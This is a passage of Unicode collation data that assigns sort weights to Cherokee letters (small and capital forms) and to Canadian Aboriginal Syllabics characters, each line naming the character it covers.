[.324C.0020.0002] # CHEROKEE SMALL LETTER NA +13BE ; [.324C.0020.0008] # CHEROKEE LETTER NA +AB8F ; [.324D.0020.0002] # CHEROKEE SMALL LETTER HNA +13BF ; [.324D.0020.0008] # CHEROKEE LETTER HNA +AB90 ; [.324E.0020.0002] # CHEROKEE SMALL LETTER NAH +13C0 ; [.324E.0020.0008] # CHEROKEE LETTER NAH +AB91 ; [.324F.0020.0002] # CHEROKEE SMALL LETTER NE +13C1 ; [.324F.0020.0008] # CHEROKEE LETTER NE +AB92 ; [.3250.0020.0002] # CHEROKEE SMALL LETTER NI +13C2 ; [.3250.0020.0008] # CHEROKEE LETTER NI +AB93 ; [.3251.0020.0002] # CHEROKEE SMALL LETTER NO +13C3 ; [.3251.0020.0008] # CHEROKEE LETTER NO +AB94 ; [.3252.0020.0002] # CHEROKEE SMALL LETTER NU +13C4 ; [.3252.0020.0008] # CHEROKEE LETTER NU +AB95 ; [.3253.0020.0002] # CHEROKEE SMALL LETTER NV +13C5 ; [.3253.0020.0008] # CHEROKEE LETTER NV +AB96 ; [.3254.0020.0002] # CHEROKEE SMALL LETTER QUA +13C6 ; [.3254.0020.0008] # CHEROKEE LETTER QUA +AB97 ; [.3255.0020.0002] # CHEROKEE SMALL LETTER QUE +13C7 ; [.3255.0020.0008] # CHEROKEE LETTER QUE +AB98 ; [.3256.0020.0002] # CHEROKEE SMALL LETTER QUI +13C8 ; [.3256.0020.0008] # CHEROKEE LETTER QUI +AB99 ; [.3257.0020.0002] # CHEROKEE SMALL LETTER QUO +13C9 ; [.3257.0020.0008] # CHEROKEE LETTER QUO +AB9A ; [.3258.0020.0002] # CHEROKEE SMALL LETTER QUU +13CA ; [.3258.0020.0008] # CHEROKEE LETTER QUU +AB9B ; [.3259.0020.0002] # CHEROKEE SMALL LETTER QUV +13CB ; [.3259.0020.0008] # CHEROKEE LETTER QUV +AB9C ; [.325A.0020.0002] # CHEROKEE SMALL LETTER SA +13CC ; [.325A.0020.0008] # CHEROKEE LETTER SA +AB9D ; [.325B.0020.0002] # CHEROKEE SMALL LETTER S +13CD ; [.325B.0020.0008] # CHEROKEE LETTER S +AB9E ; [.325C.0020.0002] # CHEROKEE SMALL LETTER SE +13CE ; [.325C.0020.0008] # CHEROKEE LETTER SE +AB9F ; [.325D.0020.0002] # CHEROKEE SMALL LETTER SI +13CF ; [.325D.0020.0008] # CHEROKEE LETTER SI +ABA0 ; [.325E.0020.0002] # CHEROKEE SMALL LETTER SO +13D0 ; [.325E.0020.0008] # CHEROKEE LETTER SO +ABA1 ; [.325F.0020.0002] # CHEROKEE SMALL LETTER SU +13D1 ; [.325F.0020.0008] # CHEROKEE LETTER SU +ABA2 ; [.3260.0020.0002] # CHEROKEE SMALL LETTER SV +13D2 ; [.3260.0020.0008] # CHEROKEE LETTER SV +ABA3 ; [.3261.0020.0002] # CHEROKEE SMALL LETTER DA +13D3 ; [.3261.0020.0008] # CHEROKEE LETTER DA +ABA4 ; [.3262.0020.0002] # CHEROKEE SMALL LETTER TA +13D4 ; [.3262.0020.0008] # CHEROKEE LETTER TA +ABA5 ; [.3263.0020.0002] # CHEROKEE SMALL LETTER DE +13D5 ; [.3263.0020.0008] # CHEROKEE LETTER DE +ABA6 ; [.3264.0020.0002] # CHEROKEE SMALL LETTER TE +13D6 ; [.3264.0020.0008] # CHEROKEE LETTER TE +ABA7 ; [.3265.0020.0002] # CHEROKEE SMALL LETTER DI +13D7 ; [.3265.0020.0008] # CHEROKEE LETTER DI +ABA8 ; [.3266.0020.0002] # CHEROKEE SMALL LETTER TI +13D8 ; [.3266.0020.0008] # CHEROKEE LETTER TI +ABA9 ; [.3267.0020.0002] # CHEROKEE SMALL LETTER DO +13D9 ; [.3267.0020.0008] # CHEROKEE LETTER DO +ABAA ; [.3268.0020.0002] # CHEROKEE SMALL LETTER DU +13DA ; [.3268.0020.0008] # CHEROKEE LETTER DU +ABAB ; [.3269.0020.0002] # CHEROKEE SMALL LETTER DV +13DB ; [.3269.0020.0008] # CHEROKEE LETTER DV +ABAC ; [.326A.0020.0002] # CHEROKEE SMALL LETTER DLA +13DC ; [.326A.0020.0008] # CHEROKEE LETTER DLA +ABAD ; [.326B.0020.0002] # CHEROKEE SMALL LETTER TLA +13DD ; [.326B.0020.0008] # CHEROKEE LETTER TLA +ABAE ; [.326C.0020.0002] # CHEROKEE SMALL LETTER TLE +13DE ; [.326C.0020.0008] # CHEROKEE LETTER TLE +ABAF ; [.326D.0020.0002] # CHEROKEE SMALL LETTER TLI +13DF ; [.326D.0020.0008] # CHEROKEE LETTER TLI +ABB0 ; [.326E.0020.0002] # CHEROKEE SMALL LETTER TLO +13E0 ; [.326E.0020.0008] # CHEROKEE LETTER TLO +ABB1 ; [.326F.0020.0002] # CHEROKEE SMALL LETTER TLU +13E1 ; [.326F.0020.0008] # CHEROKEE LETTER TLU +ABB2 ; [.3270.0020.0002] # CHEROKEE SMALL LETTER TLV +13E2 ; [.3270.0020.0008] # CHEROKEE LETTER TLV +ABB3 ; [.3271.0020.0002] # CHEROKEE SMALL LETTER TSA +13E3 ; [.3271.0020.0008] # CHEROKEE LETTER TSA +ABB4 ; [.3272.0020.0002] # CHEROKEE SMALL LETTER TSE +13E4 ; [.3272.0020.0008] # CHEROKEE LETTER TSE +ABB5 ; [.3273.0020.0002] # CHEROKEE SMALL LETTER TSI +13E5 ; [.3273.0020.0008] # CHEROKEE LETTER TSI +ABB6 ; [.3274.0020.0002] # CHEROKEE SMALL LETTER TSO +13E6 ; [.3274.0020.0008] # CHEROKEE LETTER TSO +ABB7 ; [.3275.0020.0002] # CHEROKEE SMALL LETTER TSU +13E7 ; [.3275.0020.0008] # CHEROKEE LETTER TSU +ABB8 ; [.3276.0020.0002] # CHEROKEE SMALL LETTER TSV +13E8 ; [.3276.0020.0008] # CHEROKEE LETTER TSV +ABB9 ; [.3277.0020.0002] # CHEROKEE SMALL LETTER WA +13E9 ; [.3277.0020.0008] # CHEROKEE LETTER WA +ABBA ; [.3278.0020.0002] # CHEROKEE SMALL LETTER WE +13EA ; [.3278.0020.0008] # CHEROKEE LETTER WE +ABBB ; [.3279.0020.0002] # CHEROKEE SMALL LETTER WI +13EB ; [.3279.0020.0008] # CHEROKEE LETTER WI +ABBC ; [.327A.0020.0002] # CHEROKEE SMALL LETTER WO +13EC ; [.327A.0020.0008] # CHEROKEE LETTER WO +ABBD ; [.327B.0020.0002] # CHEROKEE SMALL LETTER WU +13ED ; [.327B.0020.0008] # CHEROKEE LETTER WU +ABBE ; [.327C.0020.0002] # CHEROKEE SMALL LETTER WV +13EE ; [.327C.0020.0008] # CHEROKEE LETTER WV +ABBF ; [.327D.0020.0002] # CHEROKEE SMALL LETTER YA +13EF ; [.327D.0020.0008] # CHEROKEE LETTER YA +13F8 ; [.327E.0020.0002] # CHEROKEE SMALL LETTER YE +13F0 ; [.327E.0020.0008] # CHEROKEE LETTER YE +13F9 ; [.327F.0020.0002] # CHEROKEE SMALL LETTER YI +13F1 ; [.327F.0020.0008] # CHEROKEE LETTER YI +13FA ; [.3280.0020.0002] # CHEROKEE SMALL LETTER YO +13F2 ; [.3280.0020.0008] # CHEROKEE LETTER YO +13FB ; [.3281.0020.0002] # CHEROKEE SMALL LETTER YU +13F3 ; [.3281.0020.0008] # CHEROKEE LETTER YU +13FC ; [.3282.0020.0002] # CHEROKEE SMALL LETTER YV +13F4 ; [.3282.0020.0008] # CHEROKEE LETTER YV +13FD ; [.3283.0020.0002] # CHEROKEE SMALL LETTER MV +13F5 ; [.3283.0020.0008] # CHEROKEE LETTER MV +1401 ; [.3284.0020.0002] # CANADIAN SYLLABICS E +1402 ; [.3285.0020.0002] # CANADIAN SYLLABICS AAI +1403 ; [.3286.0020.0002] # CANADIAN SYLLABICS I +1404 ; [.3287.0020.0002] # CANADIAN SYLLABICS II +1405 ; [.3288.0020.0002] # CANADIAN SYLLABICS O +1406 ; [.3289.0020.0002] # CANADIAN SYLLABICS OO +1407 ; [.328A.0020.0002] # CANADIAN SYLLABICS Y-CREE OO +1408 ; [.328B.0020.0002] # CANADIAN SYLLABICS CARRIER EE +1409 ; [.328C.0020.0002] # CANADIAN SYLLABICS CARRIER I +140A ; [.328D.0020.0002] # CANADIAN SYLLABICS A +140B ; [.328E.0020.0002] # CANADIAN SYLLABICS AA +140C ; [.328F.0020.0002] # CANADIAN SYLLABICS WE +140D ; [.3290.0020.0002] # CANADIAN SYLLABICS WEST-CREE WE +140E ; [.3291.0020.0002] # CANADIAN SYLLABICS WI +140F ; [.3292.0020.0002] # CANADIAN SYLLABICS WEST-CREE WI +1410 ; [.3293.0020.0002] # CANADIAN SYLLABICS WII +1411 ; [.3294.0020.0002] # CANADIAN SYLLABICS WEST-CREE WII +1412 ; [.3295.0020.0002] # CANADIAN SYLLABICS WO +1413 ; [.3296.0020.0002] # CANADIAN SYLLABICS WEST-CREE WO +1414 ; [.3297.0020.0002] # CANADIAN SYLLABICS WOO +1415 ; [.3298.0020.0002] # CANADIAN SYLLABICS WEST-CREE WOO +1416 ; [.3299.0020.0002] # CANADIAN SYLLABICS NASKAPI WOO +1417 ; [.329A.0020.0002] # CANADIAN SYLLABICS WA +1418 ; [.329B.0020.0002] # CANADIAN SYLLABICS WEST-CREE WA +1419 ; [.329C.0020.0002] # CANADIAN SYLLABICS WAA +141A ; [.329D.0020.0002] # CANADIAN SYLLABICS WEST-CREE WAA +141B ; [.329E.0020.0002] # CANADIAN SYLLABICS NASKAPI WAA +141C ; [.329F.0020.0002] # CANADIAN SYLLABICS AI +141D ; [.32A0.0020.0002] # CANADIAN SYLLABICS Y-CREE W +141E ; [.32A1.0020.0002] # CANADIAN SYLLABICS GLOTTAL STOP +141F ; [.32A2.0020.0002] # CANADIAN SYLLABICS FINAL ACUTE +1420 ; [.32A3.0020.0002] # CANADIAN SYLLABICS FINAL GRAVE +1421 ; [.32A4.0020.0002] # CANADIAN SYLLABICS FINAL BOTTOM HALF RING +1422 ; [.32A5.0020.0002] # CANADIAN SYLLABICS FINAL TOP HALF RING +1423 ; [.32A6.0020.0002] # CANADIAN SYLLABICS FINAL RIGHT HALF RING +1424 ; [.32A7.0020.0002] # CANADIAN SYLLABICS FINAL RING +1425 ; [.32A8.0020.0002] # CANADIAN SYLLABICS FINAL DOUBLE ACUTE +1426 ; [.32A9.0020.0002] # CANADIAN SYLLABICS FINAL DOUBLE SHORT VERTICAL STROKES +1427 ; [.32AA.0020.0002] # CANADIAN SYLLABICS FINAL MIDDLE DOT +1428 ; [.32AB.0020.0002] # CANADIAN SYLLABICS FINAL SHORT HORIZONTAL STROKE +1429 ; [.32AC.0020.0002] # CANADIAN SYLLABICS FINAL PLUS +142A ; [.32AD.0020.0002] # CANADIAN SYLLABICS FINAL DOWN TACK +142B ; [.32AE.0020.0002] # CANADIAN SYLLABICS EN +142C ; [.32AF.0020.0002] # CANADIAN SYLLABICS IN +142D ; [.32B0.0020.0002] # CANADIAN SYLLABICS ON +142E ; [.32B1.0020.0002] # CANADIAN SYLLABICS AN +142F ; [.32B2.0020.0002] # CANADIAN SYLLABICS PE +1430 ; [.32B3.0020.0002] # CANADIAN SYLLABICS PAAI +1431 ; [.32B4.0020.0002] # CANADIAN SYLLABICS PI +1432 ; [.32B5.0020.0002] # CANADIAN SYLLABICS PII +1433 ; [.32B6.0020.0002] # CANADIAN SYLLABICS PO +1434 ; [.32B7.0020.0002] # CANADIAN SYLLABICS POO +1435 ; [.32B8.0020.0002] # CANADIAN SYLLABICS Y-CREE POO +1436 ; [.32B9.0020.0002] # CANADIAN SYLLABICS CARRIER HEE +1437 ; [.32BA.0020.0002] # CANADIAN SYLLABICS CARRIER HI +1438 ; [.32BB.0020.0002] # CANADIAN SYLLABICS PA +1439 ; [.32BC.0020.0002] # CANADIAN SYLLABICS PAA +143A ; [.32BD.0020.0002] # CANADIAN SYLLABICS PWE +143B ; [.32BE.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWE +143C ; [.32BF.0020.0002] # CANADIAN SYLLABICS PWI +143D ; [.32C0.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWI +143E ; [.32C1.0020.0002] # CANADIAN SYLLABICS PWII +143F ; [.32C2.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWII +1440 ; [.32C3.0020.0002] # CANADIAN SYLLABICS PWO +1441 ; [.32C4.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWO +1442 ; [.32C5.0020.0002] # CANADIAN SYLLABICS PWOO +1443 ; [.32C6.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWOO +1444 ; [.32C7.0020.0002] # CANADIAN SYLLABICS PWA +1445 ; [.32C8.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWA +1446 ; [.32C9.0020.0002] # CANADIAN SYLLABICS PWAA +1447 ; [.32CA.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWAA +1448 ; [.32CB.0020.0002] # CANADIAN SYLLABICS Y-CREE PWAA +1449 ; [.32CC.0020.0002] # CANADIAN SYLLABICS P +144A ; [.32CD.0020.0002] # CANADIAN SYLLABICS WEST-CREE P +144B ; [.32CE.0020.0002] # CANADIAN SYLLABICS CARRIER H +144C ; [.32CF.0020.0002] # CANADIAN SYLLABICS TE +144D ; [.32D0.0020.0002] # CANADIAN SYLLABICS TAAI +144E ; [.32D1.0020.0002] # CANADIAN SYLLABICS TI +144F ; [.32D2.0020.0002] # CANADIAN SYLLABICS TII +1450 ; [.32D3.0020.0002] # CANADIAN SYLLABICS TO +1451 ; [.32D4.0020.0002] # CANADIAN SYLLABICS TOO +1452 ; [.32D5.0020.0002] # CANADIAN SYLLABICS Y-CREE TOO +1453 ; [.32D6.0020.0002] # CANADIAN SYLLABICS CARRIER DEE +1454 ; [.32D7.0020.0002] # CANADIAN SYLLABICS CARRIER DI +1455 ; [.32D8.0020.0002] # CANADIAN SYLLABICS TA +1456 ; [.32D9.0020.0002] # CANADIAN SYLLABICS TAA +1457 ; [.32DA.0020.0002] # CANADIAN SYLLABICS TWE +1458 ; [.32DB.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWE +1459 ; [.32DC.0020.0002] # CANADIAN SYLLABICS TWI +145A ; [.32DD.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWI +145B ; [.32DE.0020.0002] # CANADIAN SYLLABICS TWII +145C ; [.32DF.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWII +145D ; [.32E0.0020.0002] # CANADIAN SYLLABICS TWO +145E ; [.32E1.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWO +145F ; [.32E2.0020.0002] # CANADIAN SYLLABICS TWOO +1460 ; [.32E3.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWOO +1461 ; [.32E4.0020.0002] # CANADIAN SYLLABICS TWA +1462 ; [.32E5.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWA +1463 ; [.32E6.0020.0002] # CANADIAN SYLLABICS TWAA +1464 ; [.32E7.0020.0002] # CANADIAN SYLLABICS WEST-CREE TWAA +1465 ; [.32E8.0020.0002] # CANADIAN SYLLABICS NASKAPI TWAA +1466 ; [.32E9.0020.0002] # CANADIAN SYLLABICS T +1467 ; [.32EA.0020.0002] # CANADIAN SYLLABICS TTE +1468 ; [.32EB.0020.0002] # CANADIAN SYLLABICS TTI +1469 ; [.32EC.0020.0002] # CANADIAN SYLLABICS TTO +146A ; [.32ED.0020.0002] # CANADIAN SYLLABICS TTA +146B ; [.32EE.0020.0002] # CANADIAN SYLLABICS KE +146C ; [.32EF.0020.0002] # CANADIAN SYLLABICS KAAI +146D ; [.32F0.0020.0002] # CANADIAN SYLLABICS KI +146E ; [.32F1.0020.0002] # CANADIAN SYLLABICS KII +146F ; [.32F2.0020.0002] # CANADIAN SYLLABICS KO +1470 ; [.32F3.0020.0002] # CANADIAN SYLLABICS KOO +1471 ; [.32F4.0020.0002] # CANADIAN SYLLABICS Y-CREE KOO +1472 ; [.32F5.0020.0002] # CANADIAN SYLLABICS KA +1473 ; [.32F6.0020.0002] # CANADIAN SYLLABICS KAA +1474 ; [.32F7.0020.0002] # CANADIAN SYLLABICS KWE +1475 ; [.32F8.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWE +1476 ; [.32F9.0020.0002] # CANADIAN SYLLABICS KWI +1477 ; [.32FA.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWI +1478 ; [.32FB.0020.0002] # CANADIAN SYLLABICS KWII +1479 ; [.32FC.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWII +147A ; [.32FD.0020.0002] # CANADIAN SYLLABICS KWO +147B ; [.32FE.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWO +147C ; [.32FF.0020.0002] # CANADIAN SYLLABICS KWOO +147D ; [.3300.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWOO +147E ; [.3301.0020.0002] # CANADIAN SYLLABICS KWA +147F ; [.3302.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWA +1480 ; [.3303.0020.0002] # CANADIAN SYLLABICS KWAA +1481 ; [.3304.0020.0002] # CANADIAN SYLLABICS WEST-CREE KWAA +1482 ; [.3305.0020.0002] # CANADIAN SYLLABICS NASKAPI KWAA +1483 ; [.3306.0020.0002] # CANADIAN SYLLABICS K +1484 ; [.3307.0020.0002] # CANADIAN SYLLABICS KW +1485 ; [.3308.0020.0002] # CANADIAN SYLLABICS SOUTH-SLAVEY KEH +1486 ; [.3309.0020.0002] # CANADIAN SYLLABICS SOUTH-SLAVEY KIH +1487 ; [.330A.0020.0002] # CANADIAN SYLLABICS SOUTH-SLAVEY KOH +1488 ; [.330B.0020.0002] # CANADIAN SYLLABICS SOUTH-SLAVEY KAH +1489 ; [.330C.0020.0002] # CANADIAN SYLLABICS CE +148A ; [.330D.0020.0002] # CANADIAN SYLLABICS CAAI +148B ; [.330E.0020.0002] # CANADIAN SYLLABICS CI +148C ; [.330F.0020.0002] # CANADIAN SYLLABICS CII +148D ; [.3310.0020.0002] # CANADIAN SYLLABICS CO +148E ; [.3311.0020.0002] # CANADIAN SYLLABICS COO +148F ; [.3312.0020.0002] # CANADIAN SYLLABICS Y-CREE COO +1490 ; [.3313.0020.0002] # CANADIAN SYLLABICS CA +1491 ; [.3314.0020.0002] # CANADIAN SYLLABICS CAA +1492 ; [.3315.0020.0002] # CANADIAN SYLLABICS CWE +1493 ; [.3316.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWE +1494 ; [.3317.0020.0002] # CANADIAN SYLLABICS CWI +1495 ; [.3318.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWI +1496 ; [.3319.0020.0002] # CANADIAN SYLLABICS CWII +1497 ; [.331A.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWII +1498 ; [.331B.0020.0002] # CANADIAN SYLLABICS CWO +1499 ; [.331C.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWO +149A ; [.331D.0020.0002] # CANADIAN SYLLABICS CWOO +149B ; [.331E.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWOO +149C ; [.331F.0020.0002] # CANADIAN SYLLABICS CWA +149D ; [.3320.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWA +149E ; [.3321.0020.0002] # CANADIAN SYLLABICS CWAA +149F ; [.3322.0020.0002] # CANADIAN SYLLABICS WEST-CREE CWAA +14A0 ; [.3323.0020.0002] # CANADIAN SYLLABICS NASKAPI CWAA +14A1 ; [.3324.0020.0002] # CANADIAN SYLLABICS C +14A2 ; [.3325.0020.0002] # CANADIAN SYLLABICS SAYISI TH +14A3 ; [.3326.0020.0002] # CANADIAN SYLLABICS ME +14A4 ; [.3327.0020.0002] # CANADIAN SYLLABICS MAAI +14A5 ; [.3328.0020.0002] # CANADIAN SYLLABICS MI +14A6 ; [.3329.0020.0002] # CANADIAN SYLLABICS MII +14A7 ; [.332A.0020.0002] # CANADIAN SYLLABICS MO +14A8 ; [.332B.0020.0002] # CANADIAN SYLLABICS MOO +14A9 ; [.332C.0020.0002] # CANADIAN SYLLABICS Y-CREE MOO +14AA ; [.332D.0020.0002] # CANADIAN SYLLABICS MA +14AB ; [.332E.0020.0002] # CANADIAN SYLLABICS MAA +14AC ; [.332F.0020.0002] # CANADIAN SYLLABICS MWE +14AD ; [.3330.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWE +14AE ; [.3331.0020.0002] # CANADIAN SYLLABICS MWI +14AF ; [.3332.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWI +14B0 ; [.3333.0020.0002] # CANADIAN SYLLABICS MWII +14B1 ; [.3334.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWII +14B2 ; [.3335.0020.0002] # CANADIAN SYLLABICS MWO +14B3 ; [.3336.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWO +14B4 ; [.3337.0020.0002] # CANADIAN SYLLABICS MWOO +14B5 ; [.3338.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWOO +14B6 ; [.3339.0020.0002] # CANADIAN SYLLABICS MWA +14B7 ; [.333A.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWA +14B8 ; [.333B.0020.0002] # CANADIAN SYLLABICS MWAA +14B9 ; [.333C.0020.0002] # CANADIAN SYLLABICS WEST-CREE MWAA +14BA ; [.333D.0020.0002] # CANADIAN SYLLABICS NASKAPI MWAA +14BB ; [.333E.0020.0002] # CANADIAN SYLLABICS M +14BC ; [.333F.0020.0002] # CANADIAN SYLLABICS WEST-CREE M +14BD ; [.3340.0020.0002] # CANADIAN SYLLABICS MH +14BE ; [.3341.0020.0002] # CANADIAN SYLLABICS ATHAPASCAN M +14BF ; [.3342.0020.0002] # CANADIAN SYLLABICS SAYISI M +14C0 ; [.3343.0020.0002] # CANADIAN SYLLABICS NE +14C1 ; [.3344.0020.0002] # CANADIAN SYLLABICS NAAI +14C2 ; [.3345.0020.0002] # CANADIAN SYLLABICS NI +14C3 ; [.3346.0020.0002] # CANADIAN SYLLABICS NII +14C4 ; [.3347.0020.0002] # CANADIAN SYLLABICS NO +14C5 ; [.3348.0020.0002] # CANADIAN SYLLABICS NOO +14C6 ; [.3349.0020.0002] # CANADIAN SYLLABICS Y-CREE NOO +14C7 ; [.334A.0020.0002] # CANADIAN SYLLABICS NA +14C8 ; [.334B.0020.0002] # CANADIAN SYLLABICS NAA +14C9 ; [.334C.0020.0002] # CANADIAN SYLLABICS NWE +14CA ; [.334D.0020.0002] # CANADIAN SYLLABICS WEST-CREE NWE +14CB ; [.334E.0020.0002] # CANADIAN SYLLABICS NWA +14CC ; [.334F.0020.0002] # CANADIAN SYLLABICS WEST-CREE NWA +14CD ; [.3350.0020.0002] # CANADIAN SYLLABICS NWAA +14CE ; [.3351.0020.0002] # CANADIAN SYLLABICS WEST-CREE NWAA +14CF ; [.3352.0020.0002] # CANADIAN SYLLABICS NASKAPI NWAA +14D0 ; [.3353.0020.0002] # CANADIAN SYLLABICS N +14D1 ; [.3354.0020.0002] # CANADIAN SYLLABICS CARRIER NG +14D2 ; [.3355.0020.0002] # CANADIAN SYLLABICS NH +14D3 ; [.3356.0020.0002] # CANADIAN SYLLABICS LE +14D4 ; [.3357.0020.0002] # CANADIAN SYLLABICS LAAI +14D5 ; [.3358.0020.0002] # CANADIAN SYLLABICS LI +14D6 ; [.3359.0020.0002] # CANADIAN SYLLABICS LII +14D7 ; [.335A.0020.0002] # CANADIAN SYLLABICS LO +14D8 ; [.335B.0020.0002] # CANADIAN SYLLABICS LOO +14D9 ; [.335C.0020.0002] # CANADIAN SYLLABICS Y-CREE LOO +14DA ; [.335D.0020.0002] # CANADIAN SYLLABICS LA +14DB ; [.335E.0020.0002] # CANADIAN SYLLABICS LAA +14DC ; [.335F.0020.0002] # CANADIAN SYLLABICS LWE +14DD ; [.3360.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWE +14DE ; [.3361.0020.0002] # CANADIAN SYLLABICS LWI +14DF ; [.3362.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWI +14E0 ; [.3363.0020.0002] # CANADIAN SYLLABICS LWII +14E1 ; [.3364.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWII +14E2 ; [.3365.0020.0002] # CANADIAN SYLLABICS LWO +14E3 ; [.3366.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWO +14E4 ; [.3367.0020.0002] # CANADIAN SYLLABICS LWOO +14E5 ; [.3368.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWOO +14E6 ; [.3369.0020.0002] # CANADIAN SYLLABICS LWA +14E7 ; [.336A.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWA +14E8 ; [.336B.0020.0002] # CANADIAN SYLLABICS LWAA +14E9 ; [.336C.0020.0002] # CANADIAN SYLLABICS WEST-CREE LWAA +14EA ; [.336D.0020.0002] # CANADIAN SYLLABICS L +14EB ; [.336E.0020.0002] # CANADIAN SYLLABICS WEST-CREE L +14EC ; [.336F.0020.0002] # CANADIAN SYLLABICS MEDIAL L +14ED ; [.3370.0020.0002] # CANADIAN SYLLABICS SE +14EE ; [.3371.0020.0002] # CANADIAN SYLLABICS SAAI +14EF ; [.3372.0020.0002] # CANADIAN SYLLABICS SI +14F0 ; [.3373.0020.0002] # CANADIAN SYLLABICS SII +14F1 ; [.3374.0020.0002] # CANADIAN SYLLABICS SO +14F2 ; [.3375.0020.0002] # CANADIAN SYLLABICS SOO +14F3 ; [.3376.0020.0002] # CANADIAN SYLLABICS Y-CREE SOO +14F4 ; [.3377.0020.0002] # CANADIAN SYLLABICS SA +14F5 ; [.3378.0020.0002] # CANADIAN SYLLABICS SAA +14F6 ; [.3379.0020.0002] # CANADIAN SYLLABICS SWE +14F7 ; [.337A.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWE +14F8 ; [.337B.0020.0002] # CANADIAN SYLLABICS SWI +14F9 ; [.337C.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWI +14FA ; [.337D.0020.0002] # CANADIAN SYLLABICS SWII +14FB ; [.337E.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWII +14FC ; [.337F.0020.0002] # CANADIAN SYLLABICS SWO +14FD ; [.3380.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWO +14FE ; [.3381.0020.0002] # CANADIAN SYLLABICS SWOO +14FF ; [.3382.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWOO +1500 ; [.3383.0020.0002] # CANADIAN SYLLABICS SWA +1501 ; [.3384.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWA +1502 ; [.3385.0020.0002] # CANADIAN SYLLABICS SWAA +1503 ; [.3386.0020.0002] # CANADIAN SYLLABICS WEST-CREE SWAA +1504 ; [.3387.0020.0002] # CANADIAN SYLLABICS NASKAPI SWAA +1505 ; [.3388.0020.0002] # CANADIAN SYLLABICS S +1506 ; [.3389.0020.0002] # CANADIAN SYLLABICS ATHAPASCAN S +1507 ; [.338A.0020.0002] # CANADIAN SYLLABICS SW +1508 ; [.338B.0020.0002] # CANADIAN SYLLABICS BLACKFOOT S +1509 ; [.338C.0020.0002] # CANADIAN SYLLABICS MOOSE-CREE SK +150A ; [.338D.0020.0002] # CANADIAN SYLLABICS NASKAPI SKW +150B ; [.338E.0020.0002] # CANADIAN SYLLABICS NASKAPI S-W +150C ; [.338F.0020.0002] # CANADIAN SYLLABICS NASKAPI SPWA +150D ; [.3390.0020.0002] # CANADIAN SYLLABICS NASKAPI STWA +150E ; [.3391.0020.0002] # CANADIAN SYLLABICS NASKAPI SKWA +150F ; [.3392.0020.0002] # CANADIAN SYLLABICS NASKAPI SCWA +1510 ; [.3393.0020.0002] # CANADIAN SYLLABICS SHE +1511 ; [.3394.0020.0002] # CANADIAN SYLLABICS SHI +1512 ; [.3395.0020.0002] # CANADIAN SYLLABICS SHII +1513 ; [.3396.0020.0002] # CANADIAN SYLLABICS SHO +1514 ; [.3397.0020.0002] # CANADIAN SYLLABICS SHOO +1515 ; [.3398.0020.0002] # CANADIAN SYLLABICS SHA +1516 ; [.3399.0020.0002] # CANADIAN SYLLABICS SHAA +1517 ; [.339A.0020.0002] # CANADIAN SYLLABICS SHWE +1518 ; [.339B.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWE +1519 ; [.339C.0020.0002] # CANADIAN SYLLABICS SHWI +151A ; [.339D.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWI +151B ; [.339E.0020.0002] # CANADIAN SYLLABICS SHWII +151C ; [.339F.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWII +151D ; [.33A0.0020.0002] # CANADIAN SYLLABICS SHWO +151E ; [.33A1.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWO +151F ; [.33A2.0020.0002] # CANADIAN SYLLABICS SHWOO +1520 ; [.33A3.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWOO +1521 ; [.33A4.0020.0002] # CANADIAN SYLLABICS SHWA +1522 ; [.33A5.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWA +1523 ; [.33A6.0020.0002] # CANADIAN SYLLABICS SHWAA +1524 ; [.33A7.0020.0002] # CANADIAN SYLLABICS WEST-CREE SHWAA +1525 ; [.33A8.0020.0002] # CANADIAN SYLLABICS SH +1526 ; [.33A9.0020.0002] # CANADIAN SYLLABICS YE +1527 ; [.33AA.0020.0002] # CANADIAN SYLLABICS YAAI +1528 ; [.33AB.0020.0002] # CANADIAN SYLLABICS YI +1529 ; [.33AC.0020.0002] # CANADIAN SYLLABICS YII +152A ; [.33AD.0020.0002] # CANADIAN SYLLABICS YO +152B ; [.33AE.0020.0002] # CANADIAN SYLLABICS YOO +152C ; [.33AF.0020.0002] # CANADIAN SYLLABICS Y-CREE YOO +152D ; 